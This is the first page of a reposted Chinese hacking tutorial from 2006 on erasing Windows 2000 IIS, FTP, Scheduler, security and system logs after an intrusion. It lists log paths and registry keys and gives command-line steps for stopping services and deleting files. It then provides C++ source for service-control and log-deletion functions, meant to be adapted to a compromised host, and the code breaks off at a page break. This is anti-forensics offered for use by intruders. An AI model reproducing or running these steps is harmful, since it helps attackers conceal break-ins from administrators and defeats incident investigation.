分享
 
 
 

一个2000的日志清除器是怎么练成的

王朝other·作者佚名  2006-11-24
窄屏简体版  字體: |||超大  

一个2000的日志清除器是怎么练成的我想大想一定用过小榕的CLeanIIsLog,是一个不错的日志清除工具。不过可惜,只

能清除IIS的日志,那ftp和shedule待产生的日志文件呢,我们一般只能手动清除。 Windows2000的日志文件通常有应用程序日志,安全日志、系统日志、DNS服务器日志、

FTP日志、WWW日志等等,可能会根据服务器所开启的服务不同。 一般步骤如下:

1.清除IIs的日志。

可不要小看IIS的日志功能,它可以详细的记录下你的入侵全过程,如

如你用unicode入侵时ie里打的命令,和对80端口扫描时留下的痕迹。你可能就因为对

其不注意,而被网管盯上,说不定还会.......呵呵

那我们就可手动清除吧

1.日志的默认位置:%systemroot%\system32\logfiles\w3svc1\,默认每天一个日志

那我们就切换到这个目录下吧

del *.*

你大概想是安全了吧,那就dir一下吧

咦,咦,今天的日志怎么还在,不要慌。因为w3svc服务还开着,那我们怎么清除这个日志文件呢?

方法一:如有3389可以登录,那就用notepad打开,把Ctrl+A 然后del吧。

方法二:net 命令

C:\>;net stop w3svc

World Wide Web Publishing Service 服务正在停止.(可能会等很长的时间,也可能不成功)

World Wide Web Publishing Service 服务已成功停止。

好了w3svc停止了,我们可以清空它的日志了,del *.*吧

还有不要忘了再打开w3svc服务呀

C:\>;net start w3svc

2.清除ftp日志。

FTP日志默认位置:%systemroot%\sys tem32\logfiles\msftpsvc1\,默认每天一个日志

清除方法同上

3.清除Scheduler日志

Scheduler服务日志默认位置:%systemroot%\schedlgu.txt

清除方法同上

4.应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\sys tem32\config

清除方法同上 注意以上三个目录可能不在上面的位置,那是因为管理员做的修改

可以读取注册表值得到他们的位置

应用程序日志,安全日志,系统日志,DNS服务器日志,它们这些LOG文件在注册表中的:

HKEY_LOCAL_MACHINE\sys tem\CurrentControlSet\Services\Eventlog

Schedluler服务日志在注册表中

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent 5.我是借鉴了别人文章(其实就是抄了)

OK!恭喜,现在简单的日志都已成功删除。下面就是很难的安全日志和系统日志了,守护这些日志的服务是Event Log,试着停掉它!

D:\SERVER\sys tem32\LogFiles\W3SVC1>;net stop eventlog

这项服务无法接受请求的 "暂停" 或 "停止" 操作。

KAO,I服了 U,没办法,它是关键服务。如果不用第三方工具,在命令行上根本没有删除安全日志和系统日志的可能!所以还是得用虽然简单但是速度慢得死机的办法:打开“控制面板”的“管理工具”中的“事件查看器”(98没有,知道用Win2k的好处了吧),在菜单的“操作”项有一个名为“连接到另一台计算机”的菜单,点击它如下图所示: 输入远程计算机的IP,然后点支烟,等上数十分钟,忍受象死机的折磨,然后打开下图: 选择远程计算机的安全性日志,右键选择它的属性: 点击属性里的“清除日志”按钮,OK!安全日志清除完毕!同样的忍受痛苦去清除系统日志! 6.上面大部分重要的日志你都已经清除了。然后要做的就是以防万一还有遗漏的了。

那就这样做吧 del以下的一些文件

\winnt\*.log

system32下

\logfiles\*.*

\dtclog\*.*

\config\*.evt

\*.log

\*.txt 到目前为止,我所知的大部分的日志我们已经教会了你清除的方法,那你就学以致用吧。 其实这篇文章的主要日的,不是教你怎么清除日志,而是教你写一个日志清除的工具。

就当我前面说的都是屁话吧。 现在转入正题:

前面你已经看到了要清除全部的日志的过程,是不是很繁呀,手动可是要花不少时间。有时

候还不一定可以清除干净。那就于编程的朋友来说,那就会想,可以我会编程,我怕什么。

那我们就动手吧。 你已经了解了,要清除一些日志,首先要关闭一些服务程序

那我就先教你怎么写一个可以看机器的服务程序的dos小工具吧,具体实现看我以前的文章

《如果做一个dos下的服务程序查看器》

工具名serName.exe

运行一下serName.exe吧

serName.exe -t 1 -t 1

呵呵,所有的机器正在运行的服务程序显示出来了吧。

记住你要关的服务程序名吧,下面会有用的。 那编程的第二步就是实现关w3svc和shedule还有ftp等服务程序了。

我写的代码如下

对着msdn慢慢看吧。(不难的,有什么不懂不要来问我) void StopServices(LPCTSTR lpServiceName)

{

SC_HANDLE scman = ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);

if(scman)

{

SC_HANDLE sh = ::OpenService(scman,lpServiceName,SERVICE_STOP);

if(sh)

{

BOOL bControl;

SERVICE_STATUS ServiceStatus;

bControl=ControlService(sh,SERVICE_CONTROL_STOP,&ServiceStatus);

DWORD dwControl;

if(bControl)

{

printf("success to stop the service \"%s\"\n",lpServiceName);

}

else

{

dwControl=::GetLastError();

switch(dwControl){

case ERROR_ACCESS_DENIED :printf("The specified handle was not opened with the necessary access.\n");break;

case ERROR_SERVICE_NOT_ACTIVE :printf("The service has not been started.\n");break;

case ERROR_DEPENDENT_SERVICES_RUNNING :printf("The service cannot be stopped because other running services are dependent on it.\n");break;

case ERROR_INVALID_SERVICE_CONTROL:printf("The requested control code is not valid, or it is unacceptable to the service.\n");break;

case ERROR_SERVICE_CANNOT_ACCEPT_CTRL:printf("The requested control code cannot be sent to the service because the state of the service is SERVICE_STOPPED, SERVICE_START_PENDING, or SERVICE_STOP_PENDING.\n");break;

case ERROR_SERVICE_REQUEST_TIMEOUT:printf("The service did not respond to the start request in a timely fashion.\n");break;

}

} }

::CloseServiceHandle(sh);

}

::CloseServiceHandle(scman);

return; } 函数有了,那就写个main函数试试吧

void main()

{

StopServices("W3SVC");

return;

} ok.成功了,如果没有成功,请参照输出的错误提示。

好了有了一个可以停止的服务程序的函数, 那我们还需要一个可以开启服务程序的函数

其实以上的看懂了,下面的代码只是对上面的代码的一些小变动。 void StartServices(LPCTSTR lpServiceName)

{

SC_HANDLE scman = ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);

if(scman)

{

SC_HANDLE sh = ::OpenService(scman,lpServiceName,SERVICE_START);

if(sh)

{

BOOL bControl;

bControl=StartService(sh,1,&lpServiceName);

DWORD dwControl;

if(bControl)

{

printf("success to start the service \"%s\"\n",lpServiceName);

}

else

{

dwControl=::GetLastError();

switch(dwControl){

case ERROR_ACCESS_DENIED :printf("The specified handle was not opened with SERVICE_START access.\n");break;

case ERROR_INVALID_HANDLE :printf("The specified handle is invalid.\n");break;

case ERROR_PATH_NOT_FOUND :printf("The service binary file could not be found.\n");break;

case ERROR_SERVICE_ALREADY_RUNNING:printf("An instance of the service is already running.\n");break;

case ERROR_SERVICE_DATABASE_LOCKED:printf("The database is locked.\n");break;

case ERROR_SERVICE_DEPENDENCY_DELETED:printf("The service depends on a service that does not exist or has been marked for deletion.\n");break;

case ERROR_SERVICE_DEPENDENCY_FAIL:printf("The service depends on another service that has failed to start.\n");break;

case ERROR_SERVICE_DISABLED:printf("The service has been disabled.\n");break;

case ERROR_SERVICE_LOGON_FAILED:printf("The service could not be logged on.\n");break;

case ERROR_SERVICE_MARKED_FOR_DELETE:printf("The service has been marked for deletion.\n");break;

case ERROR_SERVICE_NO_THREAD:printf("A thread could not be created for the service.\n");break;

case ERROR_SERVICE_REQUEST_TIMEOUT:printf("The service did not respond to the start request in a timely fashion.\n");break;

}

} }

::CloseServiceHandle(sh);

}

::CloseServiceHandle(scman);

return; } 呵呵,只是一些小变动。

现在你已经有了这两样武器,那下面的就是动用上面第一部分的一些知识,去del文件了,我想不用我教,你也一定想到怎么做了吧。 现在那再教第三个武器吧,虽然他对我们的程序可有可无,但对一个漂亮的程序他却是必需的,那就是一个判断服务程序状态的函数。 我的代码如下。 DWORD GetServicesState(LPCTSTR lpServiceName)

{

DWORD dwState;

SC_HANDLE scman = ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);

if(scman)

{

SC_HANDLE sh = ::OpenService(scman,lpServiceName,SERVICE_QUERY_STATUS);

if(sh)

{

BOOL bQuery;

SERVICE_STATUS ServiceStatus;

bQuery=QueryServiceStatus(sh,&ServiceStatus);

if(!bQuery)

{

DWORD dwControl;

dwControl=::GetLastError();

switch(dwControl){

case ERROR_ACCESS_DENIED :printf("The specified handle was not opened with SERVICE_QUERY_STATUS access.\n");break;

case ERROR_INVALID_HANDLE :printf("The specified handle is invalid.\n");break;

}

dwState=0;

}

else

{

dwState=ServiceStatus.dwCurrentState; } }

::CloseServiceHandle(sh);

}

::CloseServiceHandle(scman);

return dwState; } 好了现在什么都有了,那就把代码完成吧。

其他代码如下。希望你在运行前安照你入侵的系统的具体情况修改一下源代码。 //==========================================================//

// 绿兵日志Cleaner1.0 //

// Compiled by http://www.vertarmy.com 绿色兵团 //

// http://vcghost.yeah.net 编の魂(tryibest) //

// tjhacker@163.com //

// //

//==========================================================//

#include "windows.h"

#include "stdio.h" void StopServices(LPCTSTR lpServiceName);

void StartServices(LPCTSTR lpServiceName);

DWORD GetServicesState(LPCTSTR lpServiceName);

void DelFiles(LPCTSTR lpFileName,LPCTSTR lpDirectory);

void Del3WFile();

void DelFtpFile();

void DelSheduleFile();

void DelOtherFile();

void ShowTitle();

void main(int argc, char *argv[])

{

ShowTitle();

DelOtherFile();

Del3WFile();

DelFtpFile();

DelSheduleFile();

ShowTitle();

return;

} void StopServices(LPCTSTR lpServiceName)

{

SC_HANDLE scman = ::OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE);

if(scman)

{

SC_HANDLE sh = ::OpenService(scman,lpServiceName,SERVICE_STOP);

if(sh)

{

BOOL bControl;

SERVICE_STATUS ServiceStatus;

bControl=ControlService(sh,SERVICE_CONTROL_STOP,&ServiceStatus);

DWORD dwControl;

if(bControl)

{

printf("success to stop the service \"%s\"\n",lpServiceName);

}

else

{

dwControl=::GetLastError();

switch(dwControl){

case ERROR_ACCESS_DENIED :printf("The specified handle was not opened with the necessary access.\n");break;

case ERROR_SERVICE_NOT_ACTIVE :printf("The service has not been started.\n");break;

case ERROR_DEPENDENT_SERVICES_RUNNING :printf("The service cannot be stopped because other running services are dependent on it.\n");break;

case ERROR_INVALID_SERVICE_CONTROL:printf("The requested control code is not valid, or it is unacceptable to the service.\n");break;

case ERROR_SERVICE_CANNOT_ACCEPT_CTRL:printf("The requested control code cannot be sent to the service because the state of the service is SERVICE_STOPPE

[1] [2] 下一页

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有